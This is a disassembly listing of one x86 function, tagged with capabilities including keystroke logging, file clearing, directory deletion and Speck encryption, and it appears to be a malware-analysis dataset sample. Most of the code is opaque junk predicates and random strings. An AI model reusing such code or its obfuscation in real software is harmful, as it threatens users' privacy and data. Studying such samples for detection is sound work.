Function at 0x100127e9
Capabilities:
Clear file content
Delete directory
Encrypt data using speck
Get common file path
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006172f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0xf8c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x128], 0xa1f94964
mov dword [ebp - 0x318], 0xfffe
mov dword [ebp - 0xd4], 0xb6f9b691
mov dword [ebp - 0xcc], 0xf4864854
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x1a0], 0
jmp 0x10012859
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 2
jge 0x10012875
mov eax, dword [ebp - 0x1a0]
mov dword [ebp + eax*4 - 0xad8], 0xf5a260df
jmp 0x1001284c
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0xca4], eax
mov eax, dword [ebp - 0x318]
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0x6dad
jl 0x100128a5
mov dword [ebp - 0x42c], 1
jmp 0x100128ac
and dword [ebp - 0x42c], 0
cmp dword [ebp - 0x42c], 0x93bd5de1
jne 0x100128c4
mov dword [ebp - 0x7ac], 1
jmp 0x100128cb
and dword [ebp - 0x7ac], 0
mov eax, dword [ebp - 0x318]
cmp dword [ebp - 0x7ac], eax
jge 0x100128e5
mov dword [ebp - 0x7b4], 1
jmp 0x100128ec
and dword [ebp - 0x7b4], 0
cmp dword [ebp - 0x7b4], 0x3718
jg 0x10012904
mov dword [ebp - 0xa20], 1
jmp 0x1001290b
and dword [ebp - 0xa20], 0
mov eax, dword [ebp - 0x128]
add eax, 0x2ac5c730
cmp eax, 0xffffffff
jg 0x10012939
mov eax, 0x6711db60
test eax, eax
je 0x10012939
cmp dword [ebp - 0xd4], 0
je 0x10012939
mov dword [ebp - 0x7d8], 1
jmp 0x10012940
and dword [ebp - 0x7d8], 0
mov eax, dword [ebp - 0x318]
cmp dword [ebp - 0x7d8], eax
jl 0x1001295a
mov dword [ebp - 0x888], 1
jmp 0x10012961
and dword [ebp - 0x888], 0
mov eax, dword [ebp - 0x318]
mov dword [ebp - 0xdb4], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xad8]
mov dword [ebp - 0xdbc], eax
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0xdc4], eax
cmp dword [ebp - 0xcc], 5
jne 0x100129b9
mov dword [ebp - 0x7e0], 1
jmp 0x100129c0
and dword [ebp - 0x7e0], 0
mov eax, dword [ebp - 0x108]
cmp eax, dword [ebp - 0x7e0]
jg 0x100129da
mov dword [ebp - 0x7e8], 1
jmp 0x100129e1
and dword [ebp - 0x7e8], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x7e8], eax
jle 0x100129fb
mov dword [ebp - 0x7f0], 1
jmp 0x10012a02
and dword [ebp - 0x7f0], 0
mov eax, dword [ebp - 0x108]
cmp eax, dword [ebp - 0x7f0]
je 0x10012a1c
mov dword [ebp - 0x7f8], 1
jmp 0x10012a23
and dword [ebp - 0x7f8], 0
mov eax, dword [ebp - 0x7f8]
sub eax, dword [ebp - 0xcc]
imul eax, eax, 0
cmp eax, dword [ebp - 0x128]
jne 0x10012a46
mov dword [ebp - 0x800], 1
jmp 0x10012a4d
and dword [ebp - 0x800], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xad8]
cmp dword [ebp - 0x800], eax
jge 0x10012a6e
mov dword [ebp - 0x7ec], 1
jmp 0x10012a75
and dword [ebp - 0x7ec], 0
mov eax, dword [ebp - 0x7ec]
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x108]
cmp eax, dword [ebp - 0x128]
je 0x10012a9b
mov dword [ebp - 0x7a8], 1
jmp 0x10012aa2
and dword [ebp - 0x7a8], 0
mov eax, dword [ebp - 0x7a8]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0xd4], eax
cmp dword [0x108200fc], 0
jne 0x1001892b
mov dword [ebp - 0x7c], 1
mov dword [ebp - 0x440], 1
mov dword [ebp - 0x100], 0xfffffffb
mov dword [ebp - 0x418], 0
mov dword [ebp - 0x890], 0x1a7a
cmp dword [ebp - 0x890], 0x746
jge 0x1001301b
lea ecx, [ebp - 0x17c]
call fcn.100060c3
and dword [ebp - 4], 0
push 0x19
push 1
lea eax, [ebp - 0xe04]
push eax
call fcn.10048b80
add esp, 0xc
xor eax, eax
inc eax
shl eax, 0
mov byte [ebp + eax - 0xe04], 0
xor eax, eax
inc eax
imul eax, eax, 0
mov byte [ebp + eax - 0xe04], 0
mov dword [ebp - 0x898], 2
lea eax, [ebp - 0x898]
push eax
lea ecx, [ebp - 0x17c]
call fcn.1001d387
mov dword [ebp - 0x1a8], 4
jmp 0x10012b7a
mov eax, dword [ebp - 0x1a8]
inc eax
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0x19
jg 0x10012b93
mov eax, dword [ebp - 0x1a8]
mov byte [ebp + eax - 0xe04], 0
jmp 0x10012b6c
mov dword [ebp - 0xb0], 3
jmp 0x10012bad
mov eax, dword [ebp - 0xb0]
inc eax
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0x19
jg 0x10012c17
mov eax, dword [ebp - 0xb0]
movzx eax, byte [ebp + eax - 0xe04]
test eax, eax
je 0x10012c15
lea eax, [ebp - 0xb0]
push eax
lea ecx, [ebp - 0x17c]
call fcn.1001d387
mov eax, dword [ebp - 0xb0]
shl eax, 1
mov dword [ebp - 0x280], eax
jmp 0x10012bfc
mov eax, dword [ebp - 0x280]
add eax, dword [ebp - 0xb0]
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0x19
jg 0x10012c15
mov eax, dword [ebp - 0x280]
mov byte [ebp + eax - 0xe04], 0
jmp 0x10012bea
jmp 0x10012b9f
lea ecx, [ebp - 0x17c]
call fcn.10009417
mov dword [ebp - 0x7a4], eax
mov dword [ebp - 0xdcc], 0x19
lea ecx, [ebp - 0x824]
call fcn.100060c3
mov byte [ebp - 4], 1
and dword [ebp - 0x2c], 0
jmp 0x10012c4e
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
inc eax
cmp eax, dword [ebp - 0x7a4]
jge 0x10012e76
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x17c]
call fcn.1000609d
cmp dword [eax], 0x19
jge 0x10012e76
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x8c], eax
jmp 0x10012c8e
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x8c]
cmp eax, dword [ebp - 0x7a4]
jge 0x10012e71
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x17c]
call fcn.1000609d
mov esi, dword [eax]
dec esi
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x17c]
call fcn.1000609d
mov edi, eax
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x17c]
call fcn.1000609d
mov eax, dword [eax]
sub eax, dword [edi]
cdq
idiv esi
test edx, edx
jne 0x10012e6c
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x17c]
call fcn.1000609d
mov esi, dword [eax]
dec esi
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x17c]
call fcn.1000609d
mov edi, eax
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x17c]
call fcn.1000609d
mov eax, dword [eax]
sub eax, dword [edi]
cdq
idiv esi
mov dword [ebp - 0x364], eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x17c]
call fcn.1000609d
mov eax, dword [eax]
sub eax, dword [ebp - 0x364]
mov dword [ebp - 0x410], eax
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x17c]
call fcn.1000609d
mov ecx, dword [ebp - 0x364]
imul ecx, dword [eax]
add ecx, dword [ebp - 0x410]
mov eax, ecx
cdq
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], edx
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x17c]
call fcn.1000609d
mov esi, eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x17c]
call fcn.1000609d
mov eax, dword [eax]
imul eax, dword [esi]
cdq
push dword [ebp - 0x120]
push dword [ebp - 0x124]
push edx
push eax
call fcn.1004df20
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x354], edx
cmp dword [ebp - 0x354], 0
jg 0x10012e6c
jl 0x10012dcd
cmp dword [ebp - 0x358], 0x19
ja 0x10012e6c
push dword [ebp - 0x120]
push dword [ebp - 0x124]
call fcn.10012738
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x10012e6c
mov eax, dword [ebp - 0x358]
mov dword [ebp - 0x8a0], eax
lea eax, [ebp - 0x8a0]
push eax
lea ecx, [ebp - 0x824]
call fcn.1001d387
mov eax, dword [ebp - 0x410]
cdq
mov esi, eax
mov edi, edx
mov eax, dword [ebp - 0x364]
cdq
push dword [ebp - 0x120]
push dword [ebp - 0x124]
push edx
push eax
call fcn.1004df20
add eax, esi
adc edx, edi
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], edx
push dword [ebp - 0x120]
push dword [ebp - 0x124]
push dword [ebp - 0x354]
push dword [ebp - 0x358]
call fcn.1004df20
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x354], edx
jmp 0x10012db1
jmp 0x10012c81
jmp 0x10012c47
lea eax, [ebp - 0xdd4]
push eax
lea ecx, [ebp - 0x824]
call fcn.1001d3da
push dword [eax]
lea eax, [ebp - 0xddc]
push eax
lea ecx, [ebp - 0x824]
call fcn.10006bf9
push dword [eax]
call fcn.1001f90f
pop ecx
pop ecx
lea ecx, [ebp - 0x824]
call fcn.10009417
mov dword [ebp - 0x620], eax
lea eax, [ebp - 0x3ac]
push eax
push 0x10069a1c
call fcn.1004854b
pop ecx
pop ecx
mov eax, dword [ebp - 0x3ac]
mov dword [ebp - 0x8a8], eax
mov eax, dword [ebp - 0x3ac]
dec eax
mov dword [ebp - 0x3ac], eax
cmp dword [ebp - 0x8a8], 0
je 0x10012ffd
lea eax, [ebp - 0xa08]
push eax
lea eax, [ebp - 0xa00]
push eax
push str._d__d
call fcn.1004854b
add esp, 0xc
and dword [ebp - 0x68], 0
mov eax, dword [ebp - 0x620]
dec eax
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0xc0]
je 0x10012f6f
mov eax, dword [ebp - 0x68]
add eax, dword [ebp - 0xc0]
cdq
sub eax, edx
sar eax, 1
mov dword [ebp - 0xb8], eax
push dword [ebp - 0xb8]
lea ecx, [ebp - 0x824]
call fcn.1000609d
mov eax, dword [eax]
cmp eax, dword [ebp - 0xa00]
jl 0x10012f63
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0xc0], eax
jmp 0x10012f6d
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0x68], eax
jmp 0x10012f1b
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xa10], eax
and dword [ebp - 0x68], 0
mov eax, dword [ebp - 0x620]
dec eax
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0xc0]
je 0x10012fe1
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x68]
lea eax, [ecx + eax + 1]
cdq
sub eax, edx
sar eax, 1
mov dword [ebp - 0xb8], eax
push dword [ebp - 0xb8]
lea ecx, [ebp - 0x824]
call fcn.1000609d
mov eax, dword [eax]
cmp eax, dword [ebp - 0xa08]
jg 0x10012fd2
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x68], eax
jmp 0x10012fdf
mov eax, dword [ebp - 0xb8]
dec eax
mov dword [ebp - 0xc0], eax
jmp 0x10012f89
mov eax, dword [ebp - 0x68]
sub eax, dword [ebp - 0xa10]
inc eax
push eax
push 0x1006a1fc
call fcn.10048acd
pop ecx
pop ecx
jmp 0x10012ec9
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x824]
call fcn.10006098
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x17c]
call fcn.10006098
push 4
lea ecx, [ebp - 0xc40]
call fcn.10006036
mov dword [ebp - 4], 2
mov dword [ebp - 0x14], 0
jmp 0x1001303f
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10013055
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xce4], 0x24891023
jmp 0x10013038
mov dword [ebp - 0x14], 0
jmp 0x10013065
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1001307b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xab8], 1
jmp 0x1001305e
mov dword [ebp - 0x14], 0
jmp 0x1001308b
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x100130a1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe10], 1
jmp 0x10013084
mov dword [ebp - 0x14], 0
jmp 0x100130b1
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x100130cd
push dword [ebp - 0x14]
lea ecx, [ebp - 0xc40]
call fcn.1000609d
mov dword [eax], 0xdfce9586
jmp 0x100130aa
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xab8]
inc eax
mov dword [ebp - 0x36c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x36c]
mov dword [ebp + eax - 0xab8], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x36c]
mov dword [ebp + eax - 0xce4], ecx
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x418], eax
mov eax, dword [ebp - 0x418]
cmp dword [ebp - 0x36c], eax
jg 0x1001312d
mov dword [ebp - 0x728], 1
jmp 0x10013134
and dword [ebp - 0x728], 0
mov eax, dword [ebp - 0x7c]
cmp eax, dword [ebp - 0x100]
jge 0x1001314b
mov dword [ebp - 0x420], 1
jmp 0x10013152
and dword [ebp - 0x420], 0
mov eax, dword [ebp - 0x7c]
imul eax, dword [ebp - 0x728]
cmp eax, dword [ebp - 0x420]
je 0x10013170
mov dword [ebp - 0x628], 1
jmp 0x10013177
and dword [ebp - 0x628], 0
cmp dword [ebp - 0x628], 0x55f992db
jne 0x1001319c
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xab8], 0
jne 0x1001319c
and dword [ebp - 0x428], 0
jmp 0x100131a6
mov dword [ebp - 0x428], 1
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x428], eax
jg 0x100131bd
mov dword [ebp - 0x7bc], 1
jmp 0x100131c4
and dword [ebp - 0x7bc], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x7bc], eax
jge 0x100131dd
xor eax, eax
inc eax
jne 0x100131dd
and dword [ebp - 0x430], 0
jmp 0x100131e7
mov dword [ebp - 0x430], 1
mov eax, dword [ebp - 0x100]
cmp dword [ebp - 0x430], eax
jle 0x10013201
mov dword [ebp - 0x630], 1
jmp 0x10013208
and dword [ebp - 0x630], 0
mov eax, dword [ebp - 0x630]
sub eax, 0x5906bb24
cmp eax, dword [ebp - 0x100]
je 0x10013227
mov dword [ebp - 0x438], 1
jmp 0x1001322e
and dword [ebp - 0x438], 0
cmp dword [ebp - 0x438], 0
ja 0x10013243
mov dword [ebp - 0x730], 1
jmp 0x1001324a
and dword [ebp - 0x730], 0
cmp dword [ebp - 0x730], 0x5f0e
jl 0x10013262
mov dword [ebp - 0x638], 1
jmp 0x10013269
and dword [ebp - 0x638], 0
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x440], eax
mov eax, dword [ebp - 0x440]
cmp eax, dword [ebp - 0x638]
jg 0x1001328c
mov dword [ebp - 0x448], 1
jmp 0x10013293
and dword [ebp - 0x448], 0
cmp dword [ebp - 0x448], 0xffffffff
jge 0x100132a8
mov dword [ebp - 0x7b0], 1
jmp 0x100132af
and dword [ebp - 0x7b0], 0
mov eax, dword [ebp - 0x7c]
imul eax, dword [ebp - 0x7b0]
cmp eax, dword [ebp - 0x100]
jl 0x100132cd
mov dword [ebp - 0x450], 1
jmp 0x100132d4
and dword [ebp - 0x450], 0
cmp dword [ebp - 0x450], 6
jg 0x100132f6
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xab8], 0
jne 0x100132f6
and dword [ebp - 0x640], 0
jmp 0x10013300
mov dword [ebp - 0x640], 1
mov eax, dword [ebp - 0x7c]
cmp eax, dword [ebp - 0x640]
jge 0x10013317
mov dword [ebp - 0x458], 1
jmp 0x1001331e
and dword [ebp - 0x458], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x458], eax
jge 0x10013335
mov dword [ebp - 0x3f4], 1
jmp 0x1001333c
and dword [ebp - 0x3f4], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x3f4]
mov dword [ebp + eax - 0xe10], ecx
mov esi, dword [ebp - 0x3f4]
add esi, 0x4bb9
push 0
lea ecx, [ebp - 0xc40]
call fcn.1000609d
mov dword [eax], esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc40]
call fcn.10006098
mov dword [ebp - 0x74], 0xe64f
mov dword [ebp - 0x374], 0xd0f4f230
push 2
lea ecx, [ebp - 0xbb0]
call fcn.10006036
mov dword [ebp - 4], 3
mov dword [ebp - 0x470], 0xfffffff6
mov dword [ebp - 0x478], 0xc3f30b91
mov dword [ebp - 0x1b8], 0x15cc7c44
mov dword [ebp - 0xa38], 0x7f4a
mov dword [ebp - 0x480], 0xffa898cb
mov dword [ebp - 0xa40], 0xffffffff
mov dword [ebp - 0x738], 0x1e3c
mov dword [ebp - 0x868], str.pqpvk_ydxn_gbu_kusr_ryeo_akywjosl_rnpnkt_pteqoscqo
cmp dword [ebp - 0x738], 0x1f9e
jle 0x100134a3
and dword [ebp - 0x1b0], 0
jmp 0x10013413
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0x5d46
jge 0x100134a3
and dword [ebp - 0x2e8], 0
jmp 0x10013439
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 0x6b8c
jge 0x1001349e
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [ebp - 0x2e8]
sar eax, cl
cdq
mov dword [ebp - 0x8b4], eax
mov dword [ebp - 0x8b0], edx
push dword [ebp - 0x8b0]
push dword [ebp - 0x8b4]
lea ecx, [ebp - 0xec4]
call fcn.10001a84
pop ecx
pop ecx
mov dword [ebp - 0xa18], eax
mov ecx, dword [ebp - 0xa18]
call fcn.10005d07
push eax
call fcn.10048acd
pop ecx
lea ecx, [ebp - 0xec4]
call fcn.10005cfd
jmp 0x1001342c
jmp 0x10013406
mov dword [ebp - 0x50], 0
jmp 0x100134b3
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 2
jge 0x100134cf
push dword [ebp - 0x50]
lea ecx, [ebp - 0xbb0]
call fcn.1000609d
mov dword [eax], 0xfffffff9
jmp 0x100134ac
mov byte [ebp - 4], 4
cmp dword [ebp - 0x738], 0x1aa1
jge 0x100134eb
push dword [ebp - 0x868]
call fcn.10048acd
pop ecx
jmp 0x10013507
mov dword [ebp - 4], 3
jmp 0x10013517
mov dword [ebp - 0x50], 0
jmp 0x10013527
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 4
jge 0x1001353d
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xe3c], 0x7e80
jmp 0x10013520
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0xde4], eax
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x374], eax
mov eax, dword [ebp - 0x374]
cmp eax, dword [ebp - 0x74]
je 0x10013566
mov dword [ebp - 0x460], 1
jmp 0x1001356d
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x460], eax
jge 0x10013584
mov dword [ebp - 0x648], 1
jmp 0x1001358b
and dword [ebp - 0x648], 0
mov esi, dword [ebp - 0x74]
imul esi, dword [ebp - 0x648]
push 1
lea ecx, [ebp - 0xbb0]
call fcn.1000609d
sub esi, dword [eax]
cmp esi, 0xfffd
je 0x100135b8
mov dword [ebp - 0x468], 1
jmp 0x100135bf
and dword [ebp - 0x468], 0
mov eax, dword [ebp - 0x74]
cmp eax, dword [ebp - 0x468]
je 0x100135d6
mov dword [ebp - 0x7c0], 1
jmp 0x100135dd
and dword [ebp - 0x7c0], 0
mov eax, dword [ebp - 0x7c0]
mov dword [ebp - 0x470], eax
cmp dword [ebp - 0x470], 0x814b11f3
ja 0x10013601
mov dword [ebp - 0xa28], 1
jmp 0x10013608
and dword [ebp - 0xa28], 0
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0xd78], eax
mov eax, dword [ebp - 0x478]
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0
je 0x1001362f
cmp dword [ebp - 0x1b8], 0
jne 0x10013641
cmp dword [ebp - 0x374], 0
jne 0x10013641
and dword [ebp - 0x650], 0
jmp 0x1001364b
mov dword [ebp - 0x650], 1
mov eax, dword [ebp - 0x650]
add eax, dword [ebp - 0x74]
mov dword [ebp - 0xa30], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xa30]
mov dword [ebp + eax - 0xe3c], ecx
mov eax, dword [ebp - 0x478]
mov dword [ebp - 0xce8], eax
imul eax, dword [ebp - 0x1b8], 0
cmp eax, dword [ebp - 0xa38]
jl 0x10013694
mov dword [ebp - 0x740], 1
jmp 0x1001369b
and dword [ebp - 0x740], 0
mov eax, dword [ebp - 0x740]
mov dword [ebp - 0x480], eax
mov eax, dword [ebp - 0x480]
mov dword [ebp - 0xa40], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbb0]
call fcn.10006098
mov dword [ebp - 0x7c8], 0xffffffff
mov dword [ebp - 0xb68], 0x55261fc4
mov dword [ebp - 0xb64], 0x55261fc4
mov dword [ebp - 0xb60], 0x55261fc4
mov dword [ebp - 0xb5c], 0x55261fc4
lea ecx, [ebp - 0x3ad]
call fcn.100060ac
push eax
lea eax, [ebp - 0xb58]
push eax
lea eax, [ebp - 0xb68]
push eax
lea ecx, [ebp - 0xe24]
call fcn.100060af
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xc28]
call fcn.10006072
mov dword [ebp - 4], 6
mov dword [ebp - 0x1d0], 0x835a7ab5
mov dword [ebp - 0x3b4], 0x95a52772
mov dword [ebp - 0xe4], 0xbc5f93be
mov dword [ebp - 0x98c], 1
mov dword [ebp - 0x4a8], 0x4895c4b7
mov dword [ebp - 0x658], 0x2754
mov dword [ebp - 0xaa8], str.lpy_cmzu_hoywkemt_bevs_mzarsh_prdwvo_nsz_akwxikgul_icdqdneq_xavps_lqtjggoho
cmp dword [ebp - 0x658], 0x29c5
jle 0x1001388e
and dword [ebp - 0x340], 0
jmp 0x1001379c
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 0x7f05
jge 0x1001388e
and dword [ebp - 0x288], 0
jmp 0x100137c2
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0x503e
jge 0x10013889
and dword [ebp - 0x1c0], 0
jmp 0x100137e8
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0x2f47
jge 0x10013884
and dword [ebp - 0x1c8], 0
jmp 0x1001380e
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0x79be
jge 0x1001387f
mov ecx, dword [ebp - 0x288]
add ecx, dword [ebp - 0x1c0]
mov eax, dword [ebp - 0x340]
shl eax, cl
or eax, dword [ebp - 0x1c8]
cdq
mov dword [ebp - 0x8c0], eax
mov dword [ebp - 0x8bc], edx
push dword [ebp - 0x8bc]
push dword [ebp - 0x8c0]
lea ecx, [ebp - 0xf6c]
call fcn.10001a84
pop ecx
pop ecx
mov dword [ebp - 0xa48], eax
mov ecx, dword [ebp - 0xa48]
call fcn.10005d07
push eax
call fcn.10048acd
pop ecx
lea ecx, [ebp - 0xf6c]
call fcn.10005cfd
jmp 0x10013801
jmp 0x100137db
jmp 0x100137b5
jmp 0x1001378f
mov dword [ebp - 0x9dc], 0x30de2fd1
mov byte [ebp - 4], 7
cmp dword [ebp - 0x658], 0x255e
jge 0x100138b4
push dword [ebp - 0xaa8]
call fcn.10048acd
pop ecx
jmp 0x100138d0
mov dword [ebp - 4], 6
jmp 0x100138e0
mov dword [ebp - 0xdb0], 0x91700558
mov dword [ebp - 0x290], 0
jmp 0x10013903
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 3
jge 0x1001391f
mov eax, dword [ebp - 0x290]
mov dword [ebp + eax*4 - 0x34c], 0xd23b6182
jmp 0x100138f6
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x34c], 0
jne 0x1001393c
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x34c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x34c]
mov dword [ebp - 0xc88], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x34c], 0
je 0x10013988
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x34c], 0
je 0x10013988
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x34c], 0
je 0x10013988
and dword [ebp - 0x7b8], 0
jmp 0x10013992
mov dword [ebp - 0x7b8], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x34c]
mov dword [ebp - 0x488], eax
push 1
lea ecx, [ebp - 0xc28]
call fcn.1000609d
mov ecx, dword [ebp - 0x488]
mov dword [eax], ecx
mov eax, dword [ebp - 0x488]
cmp eax, dword [ebp - 0x7b8]
jne 0x100139d3
mov dword [ebp - 0x490], 1
jmp 0x100139da
and dword [ebp - 0x490], 0
push 4
pop eax
shl eax, 1
push 4
pop ecx
imul ecx, ecx, 0
mov edx, dword [ebp - 0x490]
sub edx, dword [ebp + ecx - 0x34c]
cmp edx, dword [ebp + eax - 0x34c]
jle 0x10013a07
mov dword [ebp - 0x660], 1
jmp 0x10013a0e
and dword [ebp - 0x660], 0
mov eax, dword [ebp - 0x660]
mov dword [ebp - 0x1d0], eax
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x3b4], eax
cmp dword [ebp - 0x3b4], 0
jne 0x10013a41
cmp dword [ebp - 0x1d0], 0
jne 0x10013a41
and dword [ebp - 0x498], 0
jmp 0x10013a4b
mov dword [ebp - 0x498], 1
mov eax, dword [ebp - 0x498]
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0xe4]
sub eax, 0xce7aebb
cmp eax, 0xffffffff
jne 0x10013a73
mov dword [ebp - 0x748], 1
jmp 0x10013a7a
and dword [ebp - 0x748], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x34c]
cmp dword [ebp - 0x748], eax
je 0x10013a9b
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x34c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x3b4]
cmp ecx, dword [ebp + eax - 0x34c]
je 0x10013abc
mov dword [ebp - 0x4a0], 1
jmp 0x10013ac3
and dword [ebp - 0x4a0], 0
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x98c], eax
push 1
lea ecx, [ebp - 0xc28]
call fcn.1000609d
cmp dword [eax], 0xfffffff9
je 0x10013aed
mov dword [ebp - 0x668], 1
jmp 0x10013af4
and dword [ebp - 0x668], 0
mov eax, dword [ebp - 0x668]
mov dword [ebp - 0x4a8], eax
cmp dword [ebp - 0x4a8], 0
jle 0x10013b15
mov dword [ebp - 0x4b0], 1
jmp 0x10013b1c
and dword [ebp - 0x4b0], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x34c]
mov dword [ebp - 0x7c8], eax
mov eax, dword [ebp - 0x7c8]
cmp eax, dword [ebp - 0x4b0]
jl 0x10013b48
mov dword [ebp - 0x670], 1
jmp 0x10013b4f
and dword [ebp - 0x670], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x34c]
cmp dword [ebp - 0x670], eax
jg 0x10013b79
cmp dword [ebp - 0x1d0], 0
je 0x10013b79
mov dword [ebp - 0x4b8], 1
jmp 0x10013b80
and dword [ebp - 0x4b8], 0
mov eax, dword [ebp - 0x4b8]
mov dword [ebp - 0x9dc], eax
mov dword [ebp - 0xe4], 2
jmp 0x10013ba5
mov eax, dword [ebp - 0xe4]
dec eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0
jl 0x10013bd9
mov byte [ebp - 0xb1], 0
movzx eax, byte [ebp - 0xb1]
test eax, eax
je 0x10013bd7
